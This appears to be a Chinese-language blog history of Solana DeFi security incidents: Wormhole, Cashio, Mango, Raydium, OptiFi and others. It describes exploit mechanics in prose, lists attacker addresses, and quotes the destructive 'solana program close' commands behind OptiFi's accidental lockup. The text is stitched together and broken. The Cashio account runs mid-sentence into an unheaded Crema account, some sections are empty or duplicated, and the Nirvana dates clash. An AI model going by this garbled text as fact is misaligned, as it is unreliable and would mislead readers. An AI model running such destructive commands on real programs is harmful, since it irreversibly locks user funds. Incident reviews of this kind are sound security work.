Solana安全事件历史：深入研究

攻击者显然打算通过以过高的奖金错误地清算账户来窃取资金。大约有 200 万美元面临风险。

除了 Solend 自己的清算机器人外，没有发生任何清算。攻击者清算的尝试没有奏效。默认情况下，在 Solana 上，交易会在本地模拟，如果模拟失败，则永远不会发送给验证者，因此没有潜在失败清算尝试的记录。

根本原因

攻击者能够通过使用新创建的 Lending Market 来破坏身份验证检查，从而 UpdateReserveConfig()。

代码检查不足，因为攻击者可以传入他们创建的并归他们所有的任意 Lending Market。修复方法包括添加一项检查，即 ConfigAuthority 账户必须签署交易。

影响

幸运的是，没有资金被盗。但是，在攻击停止之前，有五个用户的头寸被错误地清算。这些用户从清算人的不正当收益中获得退款（1.6 万美元）。该平台和社区资金没有遭受任何盗窃。这种快速拦截避免了当时可能造成的数百万美元的损失。

响应

Solend 的开发人员做出了迅速的响应。根据该团队的报告，他们在 41 分钟内发现了异常的参数更改，并在 29 分钟后缓解了该问题。从检测到问题开始约 1 小时 38 分钟内，就部署了一个代码补丁来修复损坏的身份验证检查。

Solend 第二天公开宣布了该事件，并保证 “没有资金被盗。” 他们还承诺增加漏洞赏金规模并构建更好的监控和警报服务。

Solscan：常规 VERIFY SIGNATURE 交易

Port Finance 团队私下收到了有关这些事件的通知，因为他们也有机会让攻击者尝试利用他们。

补救措施

Solend 团队修补了合约，以确保只有经过授权的所有者才能调用 UpdateReserveConfig()。

审计员迅速审查了该修复程序。展望未来，Solend 进行了额外的审计。当 Solana DeFi 仍处于早期阶段时发生的这一事件，敲响了警钟，要求加强对 Solana 中所有管理权限检查。

经验教训

即使是 “次要” 的管理功能也可能至关重要。 Solend 学会在所有指令上实施严格的身份验证。成功的防御（没有重大资金损失）证明了实时监控的价值 - 该团队注意到链上异常的配置更改并迅速做出反应。

此事件为 Solana 安全事件的透明度树立了先例。社区了解到 Solana 本身没有过错（错误在于 dApp 逻辑中），这凸显了 dApp 开发人员对安全的共同责任。

为了响应此事件和后来的事件，Solend 构建并开源了 Brick，这是一个随时可以部署的程序，可以在紧急情况下快速冻结功能。

Wormhole 跨链桥攻击 — 2022 年 2 月 2 日

事件

2022 年 2 月 2 日，Solana 经历了历史上最大的 DeFi 黑客攻击之一：Wormhole 跨链桥漏洞利用。一名攻击者（CxegPrfn2ge5dNiQberUrQJkHCcimeR4VXkeawcFBBka）在 Solana 上铸造了 120,000 个包装以太币（wETH）（当时价值约 3.2 亿美元），而没有提供真实的 ETH，然后将一些以太桥接到 Ethereum（0x629e7Da20197a5429d30da36E77d06CdF796b71A）。

Solscan：攻击者铸造交易

这是一个签名验证错误 - 攻击者绕过了 Wormhole 的监护人验证，有效地欺骗了桥来铸造无担保的代币。 Wormhole 损失了 Solana 上 wETH 的所有 ETH 支持。在前所未有的举动中，Wormhole 的母公司 Jump Trading 介入并提供了 3.2 亿美元的自有资金，以在第二天更换被盗的 ETH，从而使用户完好无损。

技术细节

Wormhole 是一个跨链桥，一组监护人签署消息，证明在一个链上锁定代币，以便在另一个链上铸造包装的代币。攻击者在 Wormhole 的 Solana 程序中发现了一个漏洞：它未能正确验证跨链传输的监护人签名。具体来说，Wormhole Solana 合约信任特殊 "sysvar instruction" 账户的地址，而没有验证它是否是真正的 Sysvar。

攻击者将 “伪造的 Sysvar 账户注入” 到交易中。在常规的 verify_signature 交易中，第四个输入参数应包含 “Sysvar：指令”（检查签名的程序的别名）。在黑客的交易中，此参数包含黑客提供的程序地址。

Solscan：攻击者的 VERIFY SIGNATURE 交易

在执行 verify_signatures 方法期间，黑客设法将 “Sysvar：指令” 地址替换为他自己提供的地址

在绕过签名检查后，攻击者调用了桥的 complete_wrapped 函数，凭空铸造了 12 万个 wETH。

据报道，该漏洞是已知的，并且正在进行修补 - 修复程序位于 Wormhole 的 GitHub 上，但尚未部署到主网，这为黑客提供了关键的攻击窗口。

根本原因

核心问题是 缺少账户身份验证 以及 Solana 运行时的灵活性。在 Solana 上，程序可以传递任意账户 - Wormhole 的代码未能确保 sysvar_instruction 账户是真实的账户（这是一个已知的安全陷阱 - 使用伪造的 Sysvar 是一种常见的攻击媒介）。实际上，一行代码（签名验证）被绕过了，这是一个典型的 先检查后使用漏洞。

这在某种程度上类似于早期在 Ethereum 侧链/跨链桥上的黑客攻击，其中签名检查不完整（例如，Poly Network 黑客攻击）。

Certik：Wormhole 跨链桥漏洞利用事件分析

影响

这是迄今为止 Solana 最大的攻击 - 价值 3.2 亿美元。它立即引发了对 Solana DeFi 跨链桥的信任危机。 SOL 的价格在黑客攻击后的 24 小时内下跌了约 10％，这反映了交易者对生态系统安全性的担忧。此次攻击凸显了跨链桥中存在的严重信任假设。

阅读 BLOCKWORKS 的完整文章

响应

Wormhole 的团队几乎立即注意到了不规则的铸造 - 他们在 2 月 2 日发推文说网络 “正在遭受漏洞利用”，并使桥离线。几个小时内，他们向黑客提供了 1000 万美元的赏金（黑客没有回应）。

WormHole 在 X（以前称为 Twitter）上的推文：2022 年 2 月 2 日

到第二天（2 月 3 日），Jump Crypto 宣布它已更换了 12 万个 ETH，以 “恢复桥的完整性”。

Wormhole Solana 合约已修补，以修复签名验证（确保只能使用真实的 Sysvar 和监护人集）。桥于 2 月 3 日在重新部署和测试后重新启动。这种迅速的补救措施（不到 24 小时）防止了蔓延。

Wormhole 发布了一份详细的事件报告，并与审计师合作仔细检查了修复程序。值得注意的是，Jump 的救助行动维护了用户的信任，防止了 Solana 的 DeFi TVL 崩溃，如果 wETH 仍然没有支持，可能会导致崩溃。

补救措施

Wormhole 程序已更新，以通过预期的 Sysvar 严格验证监护人签名，并拒绝任何注入的账户。已部署并审核了修补的代码。此外，监护人（一组 Wormhole 的验证器）可能收紧了他们的链下签名流程。

Solscan：Wormhole 程序升级

Wormhole 在黑客攻击后在 Immunefi 上实施了高达的漏洞赏金。

Immunefi

经验教训

Wormhole 黑客攻击强调了跨链桥是主要目标，并且单个漏洞可能会产生全系统影响。对于 Solana 开发人员来说，这是关于 Solana 特定检查的警告。

该事件还证明了快速响应和雄厚财力的重要性 - Jump 的救援防止了用户的流失，并可能使 Solana 免于更深层次的衰退。展望未来，Solana 生态系统更加重视对关键程序进行正式审计。 “无需信任的跨链桥” 的概念变得更加紧迫，因为 Wormhole 的半信任模型失败了。

Cashio “无限铸币” 漏洞利用 — 2022 年 3 月 23 日

事件

2022 年 3 月，Cashio 是一种由计息 Saber USD 流动性提供商代币支持的去中心化稳定币，被利用 约 5000 万美元。

攻击者发现了一个漏洞，该漏洞允许他们在没有适当抵押品的情况下铸造无限的 CASH 稳定币。他们继续铸造了大约 20 亿个 CASH，然后赎回并兑换了尽可能多的代币，完全耗尽了 Cashio 的流动资金池。

Cashio 的稳定币 CASH 一夜之间变得一文不值。这是一个应用程序逻辑错误 - Cashio 未能验证抵押账户的真实性，从而导致了经典的 “伪造抵押品” 攻击。

Cashioapp 在 X（以前称为 Twitter）上的推文：2022 年 3 月 23 日

技术细节

攻击者利用了抵押品验证设计中的一个漏洞：Cashio 使用 Saber LP 和 Arrow Protocol 作为抵押品，并且 Arrow 账户上的 mint 字段未经过验证。用户存入抵押品以铸造 CASH 代币，如果用户的抵押品存款通过了一系列验证代币检查，则将其存入协议拥有的账户中。

首先，攻击者（6D7fgzpPZXtDB6Zqg3xRwfbohzerbytB2U5pFchnVuzw）铸造了两个完全虚假的代币，并使用它们创建了一个虚假的流动性池。他们从那个资金池中提取了 “LP 代币”（GoSK6XvdKquQwVYokYz8sKhFgkJAYwjq4i8ttjeukBmp），这些代币没有真正的支持价值。

Solscan：攻击者创建合约池

接下来，他们转向 Arrow 借贷程序。使用其 init_arrow_vendor_miner() 调用，他们设置了一个恶意的 Arrow 账户。

Solscan：创建虚假的 Arrow 账户

然后，通过 deposit_vendor()，他们存入了 20 亿个毫无价值的 LP 代币，并且 - 因为该程序盲目信任任何存入的 LP 代币 - 铸造了 20 亿个抵押代币 (GCnK63zpqfGwpmikGBWRSMJLGLW8dsW97N4VAXKaUSSC)。

Solscan：存入抵押代币

最后，在他们新铸造的 GCnK 抵押品到位后，他们调用了 Arrow 程序的 “print cash” 指令。这使他们能够用虚假抵押品借入 20 亿个 CASH 代币。

Solscan：铸造 CASH

为了将其转化为真正的资金，他们通过 Saber 发送了这些 CASH 代币，将其兑换为 UST 和 USDC。

Solscan：攻击者的主要兑换之一

总而言之，Cashio App 漏洞利用导致大约 5200 万美元 因为抵押品验证设计中的漏洞而损失的资金。这些资金通过 Wormhole 和 Paraswap 转移到 Ethereum。

根本原因

编码错误阻止了对银行代币和铸造代币是否匹配的验证。攻击者能够从毫无价值的代币中创建实际的 CASH 代币。通过存入毫无价值的抵押品，攻击者从协议中耗尽了价值并创建了 CASH 代币。缺失的验证代码导致了一次攻击，造成 5280 万美元的资产损失。这些资金通过 Wormhole 和 Paraswap 转移到 Ethereum。

Certik：Cashio App 事件分析

影响

大约 5000 万美元的价值被从 Cashio 的流动资金池中吸走，一旦其支持被耗尽，CASH 稳定币就会暴跌至零。持有 CASH 或在受影响的资金池中提供 LP 的用户看到他们的头寸被清空；幸运的是，由于 CASH 大部分是孤立的，因此更广泛的 Solana DeFi 没有受到严重打击。

攻击者通过 Terra 的 UST 清洗收益（赚取了大约 860 万美元的 UST，后来在 Terra 于 2022 年 5 月崩溃时归零），并将大约 3400 万美元的稳定币桥接到 Ethereum。

https://anchor.so/Cashio

总共有 3636 名用户受到影响，并提交了 280 份索赔（其中 220 份符合约 95% 退款的条件）。在所有 Solana 账户中，被盗了 7720 万美元 - 其中链上退款 399 万美元，Ethereum 退款 1440 万美元 - 净损失为 5880 万美元。

仅关注那些提交索赔的人，损失了 3970 万美元，Solana 退款 71 万美元，Ethereum 退款 1440 万美元，净索赔损失为 2460 万美元。在发现后，Cashio 团队立即警告所有人停止交易 CASH，因为它已完全没有支持。

响应

Cashio 暂停运营，并于 2022 年 3 月 23 日通过 Twitter 通知公众。他们承认了 “无限铸币故障” 并要求协助追踪资金。流动性提供商没有追回资金，因为攻击者没有归还资金。

https://refund.cashio.app/

2022 年 3 月 28 日，在攻击发生几天后，黑客发出警报，建议受影响的 Cashio 用户可以收回他们的现金，如果他们可以证明资产的来源以及为什么要归还这些资产。

黑客表示，不会将钱归还给那些并非特别需要它的富人。受影响的个人能够在社区成员创建的网站上以黑客要求的格式展示他们的案例。

补救措施

损失金额非常具有破坏性，以至于一小群开发人员别无选择，只能按照黑客的要求，帮助社区中资产少于 10 万美元的成员从攻击者那里追回资金。

https://x.com/sainteclectic/status/1510663046728978437

Cashio App 项目在 2022 年初拥有强大的社交媒体影响力，并且活跃于 Twitter、Discord、Medium 和他们的项目网站上。这些渠道中的大多数已经放缓，其中大部分活动都引用了这次攻击和归还用户资金。

2022 年 6 月，Cashio App 在 Medium 上宣布了一项新协议的计划，以帮助为受害者筹集资金并扩展 Saber 生态系统。自此公告以来，Cashio App 团队未在社交媒体平台上活跃。目前尚不清楚该团队是否正在按照他们的计划构建新协议。

经验教训

不要信任，请验证 - 尤其是在铸币方面。 Cashio 告诉 Solana 开发人员，任何外部账户输入都必须被视为不受信任的。该漏洞利用非常简单（没有 Solana 特定的奥秘，只是未能执行业务逻辑） - 提醒人们必须明确地编写基本不变式（例如 “仅接受我们的 LP 代币作为抵押品”）。它还强调了审计新稳定币设计的必要性。

在社区方面，它促进了对未经充分审计的稳定项目的怀疑，并加强了对经过实战检验的稳定币的依赖。从安全的角度来看，这是 Solana 上的经典 “无限铸币” 黑客攻击类别的一个实例（例如 Ethereum 的 2020 Lien 协议黑客攻击） - 表明 Solana 智能该序列极具技术性：攻击者创建了一个虚假的流动性仓位，注入一笔闪电贷以产生一笔通常会产生交易费的大额交换，但通过控制 tick 账户数据，他们声称获得了超额的流动性返利。

交易：众多被操纵的交易之一。高亮显示的部分显示了他们每次存款收到的费用，每次交易最多可达 5 倍

然后，他们提取了这些非法所得的费用奖励。这发生在一次使用借入资金的原子交易中，因此双方都不必预先拥有所有资金（闪电贷在最后被归还）。

根本原因

该漏洞在于对 tick 账户的验证不足——本质上，Crema 没有正确验证 tick 账户的来源，从而允许攻击者的合约伪装成池的合法部分。

影响

Crema 损失了约 $880 万美元 的各种代币。该平台暂停并通知了用户。

Crema Finance 在 X（以前称为 Twitter）上的推文：2022 年 7 月 6 日

7 月 6 日，该团队宣布，黑客在收到报价后归还了资金（他们提供了 80 万美元的赏金；黑客谈判保留约 160 万美元的 SOL）。——第一笔 ETH 交易，第二笔 ETH 交易，第一笔 SOL 交易，第二笔 SOL 交易

应对措施

Crema 的团队立即 暂停了智能合约 并与 Solana 安全公司（OtterSec 等）合作分析该漏洞。他们几天内就确定了该漏洞，同时还通过链上消息和 Twitter 联系了黑客。

补救措施

Crema Finance 部署了一个由 Slowmist 审计的新合约，而旧合约在 2023 年变得过时。

经验教训

该事件还展示了不断演变的“谈判文化”——黑客没有立即清洗资金，而是愿意归还价值以换取安全赏金。

Nirvana Finance 闪电贷攻击——2022 年 7 月 28 日

事件

2022 年 7 月晚些时候，Nirvana Finance（一种具有算法稳定币 NIRV 和投资代币 ANA 的收益优化协议）遭受了闪电贷攻击。黑客利用 Nirvana 价格计算中的一个缺陷，窃取了 $350 万美元，导致 ANA 的价格暴跌约 80%，而 NIRV 则失去了与美元的Hook（↓92%）。

CoinMarkertCap

技术细节

Nirvana 的协议维护了一个国库来支持其 NIRV 稳定币，并为 ANA 设置一个不断上涨的底价（以激励持有）。攻击者（76w4SBe2of2wWUsx2FjkkwD29rRznfvEkBa1upSbTAWH）从 Solend 协议借入了 $10,250,000 USDC，并用它来购买 $ANA。

然后，攻击者通过在合约中发出 Buy 命令，将 $ANA 的价格从 8 美元操纵到 24 美元。

利用虚高的价格，他们从 Nirvana 国库中将 $ANA 兑换为约 $3,490,563 USDT，并将剩余部分返还给 USDC。

攻击者能够将 $10,250,000 USDC 闪电贷退还给 Solend 协议，同时保留剩余部分。

Nirvana Finance 在 X（以前称为 Twitter）上的推文：2022 年 7 月 28 日

攻击者能够将 $10,250,000 USDC 闪电贷退还给 Solend 协议，同时保留剩余部分。攻击者将全部 USDT 金额转换为 USDC，并通过 Wormhole 将资金转移到一个 ETH 账户（0xB9AE2624Ab08661F010185d72Dd506E199E67C09）。

EtherScan

根本原因

影响

Nirvana 的稳定币 NIRV 从 1 美元暴跌至约 0.08 美元，其 ANA 代币损失了 85% 以上的价值，破坏了投资者的信心。

CoinMarkertCap

持有 NIRV 或 ANA 的用户剩下的代币价值微不足道。在这种情况下没有发生恢复或赏金谈判；攻击者带着钱消失了。

应对措施

Nirvana 的团队于 7 月 28 日确认了黑客攻击并停止了运营。他们确定“不断上涨的底价”算法已被利用，并承认了资金损失。

他们甚至向黑客提供了归还赏金（呼吁攻击者的“善良本性”），但没有归还任何赏金。事后，Solana 社区成员，如 Solend 团队介入探索协助 Nirvana（由于涉及 Solend 的闪电贷，Solend 感到部分投资于解决方案）。

然而，由于国库被耗尽，Nirvana 无法恢复 NIRV 或 ANA 的价值。该团队最终关闭了该协议，但在 2025 年重新启动，并专注于调查和与执法部门合作，这导致了 2023 年逮捕了安全工程师 Shakeeb Ahmed，他也与 Crema Finance 的漏洞有关联。

补救措施

闪电贷安全措施——例如，要求多个区块时间加权价格或大型铸币/赎回的冷却期——在 Solana 审计中变得越来越普遍。

经验教训

OptiFi 操作失误——2022 年 8 月 29 日

事件

OptiFi 是 Solana 区块链上的一个去中心化期权交易所，由于对命令的误解，不慎禁用了其主网服务，并锁定了约 价值 $661,000 美元的 USDC，其中 95% 归团队成员所有。

这些资产无法恢复，因此计划手动退还给受影响的用户。

技术细节

根据 OptiFi 事件报告，8 月 29 日 UTC 时间 06:00 左右，该团队对其 Solana 程序代码进行了更新，因此他们的部署者尝试升级 Solana 主网上的 OptiFi 程序。

Solscan

然而，他们不小心使用了 ‘solana program close’ 命令，导致主网上的 OptiFi 程序不幸关闭。

OptiFi 上的所有用户资金和未平仓头寸都被锁定在 PDA 中，总计 66.1 万美元（AMM 金库、用户账户等），并且在撰写本文时无法恢复。

根本原因

当 OptiFi 的团队于 8 月 29 日 UTC 时间 06:00 首次在主网上运行 anchor deploy 时，网络拥塞导致交易停滞——当他们使用 Ctrl+C 中止交易时，一个全新的缓冲区账户悄悄地吞噬了 17.20 SOL。他们的钱包仍然显示大约 14.97 SOL，但其余的已经为部署配置。

希望在不知道缓冲区公钥的情况下恢复这些资金，他们尝试使用以下命令进行部分关闭：

solana program close \
  --recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
  --authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.json

不出所料，它失败了——因为缺少 --buffers 标志（及其缓冲区 ID 列表）。

回想起他们在 devnet 上通过关闭整个程序来回收缓冲区 SOL，他们运行了：

solana program close \
  optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B \
  --recipient DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M \
  --authority ~/solana-keys/DpLY9ZAomC35AXfWQmJvu7kVJgaSYyUVyCm9miZ6tj4M.json

在短短七分钟内，他们成功地恢复了大约 43.39 SOL——但不小心“关闭”了 OptiFi 程序本身。

当他们再次尝试部署时，Anchor 立即拒绝了他们的程序 ID：

Error: Program optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B has been closed, use a new Program Id

这是因为 solana program close 不仅仅是清空缓冲区账户——它会永久取消链接该程序 ID。从那一刻起，它就从网络的注册表中消失了，OptiFi 不得不在任何未来的部署之前生成一个新的 ID。

OptiFi 事件报告中的所有帐户

当 OptiFi 程序 (optFiKjQpoQ3PvacwnFWaPUAqXCETMJSz2sz8HwPe9B) 关闭时：

所有链上状态都变得不可变。 每个保证金账户（USDC + 期权代币）和 AMM 金库 (USDC) 都位于与该程序 ID 相关的 PDA 下——因此它们现在永久冻结到位。

超过 US$661,000 的 USDC 被锁定。 DeFi Llama 报告说，大约有 661,000 USDC 的 TVL 用户无法再提取或与之交互。

DefiLlama

应对措施

他们承诺将归还所有用户的存款，并根据 UTC 时间 9 月 2 日上午 8 点的 Pyth 预言机手动结算所有用户的头寸。所有交易和存款都将基于 Solscan。

补救措施

根据 OptiFi 事件报告

从现在开始，每次部署都将涉及三名团队成员，他们将共同验证网络健康状况、账户余额和确切的 CLI 命令——记录每个命令及其输出——如果出现任何异常情况，立即暂停进行小组审查。

我们会将所有 AMM USDC 金库和保证金账户 PDA 隔离到一个单独的程序中，以便即使必须关闭核心程序，用户资金仍然可以访问。

最后，我们将推动 Solana 在其文档中警告说 solana program close 是不可逆转的，并在 CLI 中构建一个两步“你确定你真的要关闭吗？”提示。

经验教训

Mango Markets 操纵——2022 年 10 月 11 日

事件

Solana 最臭名昭著的事件之一，Mango Markets 漏洞，发生在 2022 年 10 月 11 日。 Mango 是一个流行的去中心化交易所和借贷平台，当攻击者精心策划了一场预言机价格操纵攻击时，损失了约 $1.16 亿美元 的客户资金。

攻击者使用两个由稳定币资助的账户，在几分钟内将 MNGO（Mango 的治理代币）的价格抬高了 30 倍，然后以人为抬高的抵押品为抵押借款，耗尽了 Mango 借贷池中的所有流动性。

独特的是，攻击者 (Avraham Eisenberg) 随后公开承认自己是“盈利交易者”，并通过 Mango 的治理论坛协商达成和解。最终，大约 $6700 万美元 被归还，Mango 用户在剩余部分上遭受了重大损失。此事件模糊了黑客攻击与精明（如果是不道德的）的交易策略之间的界限，利用了协议设计。

Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析

技术细节

Mango 依赖于其自己的订单簿 DEX 和一个从该 DEX 和一些交易所提取价格的预言机。 Mango 的 MNGO 代币交易量很小且流动性低。

攻击者 - yUJw9a2PyoqKkH47i4yEGf4WXomSHMiK7Lp29Xs2NqM 首先为两个钱包 账户 A 和 账户 B 注入了 5,000,000 USDC，每个账户都注入了 5,000,000 USDC：

账户 A 存款

账户 B 存款

然后，账户 A 以每个期货 3.8 美分的价格提交了总计 4.83 亿 $MNGO 永续期货的卖单。

然后，账户 B 以每单位 0.0382 美元的价格从帐户 A 购买了所有 4.83 亿 $MNGO 永续期货。

然后，攻击者开始开始移动 MNGO 现货市场的价格，其交易价格高达 0.91 美元。

Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析

根本原因

影响

Mango Markets 变得资不抵债——大约 $1.16 亿美元 被抽走。由于流动性消失，所有存款用户都无法提款。

Joshua Lim 在 X (以前称为 Twitter) 上的 Mango 漏洞分析

Mango 的 MNGO 代币本身立即暴跌约 75%。该平台停止了运营。此事件强调了预言机的风险以及单个参与者如何控制所谓的去中心化平台。

应对措施

攻击发生后，Mango 的团队冻结了程序并禁用了存款。他们迅速确定了根本原因（预言机操纵）并通过治理论坛与攻击者进行了互动。

在一个不寻常的社区投票中，Mango 代币持有者（攻击者可能持有多数） 投票允许攻击者保留 4700 万美元，如果他们归还剩余部分。

文章：加密交易平台 Mango Markets 在闪电贷攻击中被抽走超过 1 亿美元

该团队使用归还的资金加上剩余的国库来在一定程度上补偿用户——到 10 月 15 日，用户可以收回部分存款（最终，用户获得了大约 0.55 美元）。

值得注意的是，Mango 的攻击者后来于 2022 年 12 月被美国当局逮捕，因为该漏洞被视为欺诈。从法律上讲，它开创了一个先例，即这种操纵被视为犯罪，尽管攻击者声称采取了“合法的公开市场行动”。

补救措施

Mango 的团队承担了责任，并专注于赔偿，法律跟进和修复。

在修复方面：他们施加了 存款/借款限制 这样恶意用户就无法为了自己的利益而操纵金库

他们还确保了未结算的 PNL 不是抵押品，除非已结算。如果此 PNL 未结算，则收益或损失尚未实现。

此外，使用 Pyth 和 Switchboard 价格 集成了一个强大的预言机源，并进行平滑处理或需要更长时间的价格有效性。

经验教训

预言机和市场深度： DeFi 平台必须考虑流动性。依靠单个交易所的订单簿（尤其是你自己的订单簿）进行定价可能是致命的。集成强大的预言机基础设施是不容谈判的。

风险控制： 对于低市值代币，抵押品系数应保持保守。协议学会了模拟闪电贷场景并为每项资产设置借款上限和存款限额。

Raydium DEX 流动性池黑客攻击——2022 年 12 月 16 日

事件

2022 年 12 月，Solana 最大的 DEX (AMM 协议) 之一 Raydium 遭受黑客攻击，导致其流动性池中损失了 440 万美元。

这不是传统的智能合约错误，而是池管理员帐户私钥的泄露。

Cypher 漏洞利用，2023 年 8 月 8 日公开报告

攻击者获得了对 Raydium 流动性池的“上帝模式”访问权限，使用管理员权限从所有池中提取的费用远远超过正常金额。

本质上，黑客窃取了管理员私钥（可能是通过开发人员机器上的特洛伊木马），然后滥用了智能合约中现有的管理员功能。

**技术细节Solscan

攻击者使用了一些指令来增加 need_take_pc 和 need_take_coin 的余额，而不需要任何交易量，这使得他们可以更改和增加预期的费用，然后通过 withdrawPNL 反复从池子 vault 中提取资金。

影响

大约 440 万美元的流动性提供者（LP）资金被盗，来自各种 Raydium 池子。向 Raydium 提供代币的 LP 发现他们的一部分资金丢失了（被攻击者作为“费用”拿走）。

Solscan

该团队发布了完整的交易历史以及损失的资金额给攻击者。

这是首批重大的 Solana 密钥泄露利用事件 之一，它突出了与典型合约漏洞不同的向量。它还与 FTX 崩溃后对密钥管理（Serum DEX 具有类似的密钥风险，尽管那里没有发生黑客攻击；它通过将 Serum 分叉到 OpenBook 来主动缓解）的更广泛担忧相吻合。

应对

Raydium 积极且透明。12 月 16 日，他们立即宣布了漏洞利用并冻结了 admin 密钥（幸运的是，他们有能力撤销旧密钥或至少阻止进一步的 admin 操作）。他们与 Solana 验证者和交易所协调，以跟踪并可能冻结被盗资金（尽管其中大部分通过 Tornado Cash 在 Ethereum 上进行了洗钱）。

几天之内，Raydium 在 Medium 上发布了一份详细的事后分析报告，并提出了一个赔偿提案，该提案已获得通过。到 2023 年初，LP 获得了部分补偿，一部分来自 Raydium 自己的储备，一部分来自 DAO 金库的分配。

Realm Dao

到 2023 年初，LP 获得了部分补偿，一部分来自 Raydium 自己的储备，一部分来自 DAO 金库的分配。

该团队还要求攻击者归还被利用的资金，并提供 10% 作为白帽漏洞赏金。

补救措施

Raydium 团队转移到 多重签名 进行 admin 控制——没有一个密钥可以单方面提取资金。他们可能还添加了一个合约升级，将费用提取金额硬性限制为正确的公式，因此即使是未来的密钥泄露也无法提取流动性本身。

许多 Solana 项目都注意到了这一点，并迁移到多重签名（通过 Squads 等程序）以进行升级和 admin 密钥管理。

经验教训

Raydium 的黑客事件突出了操作安全性：即使你的智能合约是安全的，admin 钱包的黑客攻击也可能破坏一切。项目学会了消除或严格限制已部署合约中的 admin 权限（倾向于不可变代码或时间锁定的治理控制）。

如果 admin 功能是必要的（用于升级或紧急情况），则使用 多重签名和 2FA/YubiKeys 进行密钥管理。对于用户而言，这是一个提醒，即使是高 TVL 平台也存在智能合约和 admin 密钥风险，这并非总是显而易见的。

这也属于广义的 供应链攻击，因为外部泄露（木马）渗透到项目的“供应链”（开发环境）中。总而言之，Raydium 的黑客事件教会了 Solana DeFi 像对待生产代码一样谨慎对待私钥，并设计合约以最大限度地减少密钥泄露的影响（例如，提款速率限制或大型操作的多重签名确认）。

Cypher 协议漏洞利用 — 2023 年 8 月 7 日

事件

2023 年 8 月，基于 Solana 的去中心化期货和借贷平台 Cypher 协议 遭到攻击，损失 约 100 万美元。该团队立即冻结了智能合约，并在接下来的几周内。

该漏洞最初看起来像是一个典型的 DeFi 黑客攻击（资金通过智能合约漏洞被提取）。

技术细节

攻击者通过利用真实数据和缓存数据之间的不一致来欺骗系统，并且由于价格波动系统未激活，因此检查无效——导致他们借入超过他们应该被允许的金额。

攻击按以下步骤进行：

攻击者将第一笔 0.1 USDC 存入 Cypher 主账户
攻击者使用创建的第一个主账户成功利用该协议，并使系统留下约 1.925 美元的坏账
攻击者继续创建 15 个不同的主账户并重复相同的步骤，从比初始存款大得多的存款开始，因此能够提取更多的资金

根本原因

Cypher 使用两种类型的用户账户：

主账户：保存所有链接子账户的缓存摘要。
子账户：保存用于保证金交易的实际资产/负债数据。

有两种保证金模式：

交叉保证金（默认）：一个子账户中的资产可以支持另一个子账户中的借款。
隔离保证金：每个子账户单独管理其自身的风险。

问题始于切换到隔离保证金时。当用户将子账户切换到隔离保证金时，子账户已更新，但主账户缓存未完全更新。这导致了真实状态和缓存状态之间的差异。

然后出现了第二个问题： 当资产价格变得不稳定时，保证金检查应该使用波动抵押率。但是由于检测波动的预言机馈送未激活，因此波动率始终为 0。

阅读完整的 CYPHER 协议事后分析报告

影响

这些漏洞使攻击者能够获得不良贷款，并使该协议背负超过 100 万美元 的坏账。

Solscan

应对

Cypher 立即冻结了其智能合约。Cypher 在 Twitter 上宣布了该漏洞利用，并聘请了 OtterSec 和其他审计人员来审查日志。在接下来的几天里，他们跟踪资金并试图与攻击者展开对话。

到 8 月下旬，Cypher 启动了一个 恢复门户，供受害者按比例分享剩余的金库资金和任何已收回的资产。他们设法收回了一部分（可能来自内部人员或通过白帽帮助）。

资金损失解决方案

用户最终获得了部分补偿。Cypher 的协议仍然处于离线状态，本质上处于解决模式。

补救措施：

鉴于 Cypher 的状态，补救措施的重点是用户补偿而不是重新启动。截至 2025 年 4 月，该团队尚未在 Solana 上重新启动 Cypher，因此此事件可作为学习参考。

经验教训

对于类似协议而言，更广泛的教训是让多个审查员审查所有代码更改。

PumpFun 闪电贷攻击 — 2024 年 5 月 16 日

事件

基于 Solana 的 meme 币LaunchPad Pump.fun 宣布，一名前员工利用其“特权地位”访问“提取权限”并挪用了大约 12,300 SOL，当时价值约为 190 万美元。

为了防止进一步的损失，Pump.fun 停止了交易并更新了合约。这种混乱的情况将漏洞利用与潜在的内部不当行为结合在一起。

技术细节

一位攻击者，使用钱包地址 7ihN8QaTfNoDTRTQGULCzbUT3PHwPDTu5Brcu4iT2paP，在几分钟内购买了该平台上所有新项目的所有代币，从而利用 Pumpfun。

这使绑定曲线填充到 100%。攻击者显然使用了来自 Margin.fi 的闪电贷来获取 SOL 并购买代币，而没有实际使用他们自己的 SOL。

Solscan：首次交易

通过迅速将代币供应绑定到 100%，攻击者阻止了代币按计划在 Raydium DEX 上上市。

然后，他们从 pump.fun 中提取流动性——只有 “admin” 应该能够做到（这些资金应该用于创建 Raydium 市场）并偿还闪电贷。

根本原因

无论哪种情况，根本原因都是部分技术性和部分人为因素。它强调了开发者信任和密钥管理的问题——内部团队成员通常拥有广泛的访问权限（例如，部署者权限），如果被滥用，则很难阻止。

影响

在总共 4500 万美元的流动性中，大约 190 万美元受到了影响

应对

Pump.fun 在 X 上的一篇文章中表示，它“意识到”合约已受到破坏，并且正在调查。

“我们已经升级了合约，因此攻击者无法再提取任何资金。目前协议中的 TVL 是安全的，”该团队表示。“我们已经暂停了交易——你目前无法购买和出售任何代币。目前正在迁移到 Raydium 的任何代币都无法交易，并且将在无限期的时间内不会迁移。”

补救措施

然后，Pump.fun 团队重新部署了合约，并在接下来的七天内恢复了 0% 费用的交易。

经验教训

Pumpfun 的漏洞利用突出了一个被忽视的方面：DeFi 中的 内部风险。虽然大多数黑客攻击都来自外部，但这向社区表明，内部人员也可以利用系统。

但是，对于类似协议而言，更广泛的教训是加强 内部控制：让多个审查员审查所有代码更改，使用多重签名进行部署，并监控开发人员的活动。

Time.fun 后端签名漏洞 — 2025 年 3 月

事件

白帽黑客发现 Time.fun（一个基于 Solana 的平台）中的一个严重漏洞，该漏洞允许潜在的攻击者窃取所有交易费用并修改该平台上启动的每个代币的元数据。安全研究人员（ @shoucccc 和 @tonykebot）来自 SoLayer 的工程师识别并负责任地披露了该问题，进行了一次白帽黑客攻击，以证明其严重性，然后才归还所有资金。该漏洞的核心是后端签名滥用，这可能导致重大损失。

Neodyme 博客：如何一次赚 0.000001 BTC 成为百万富翁

技术细节

来自同一 X 帖子

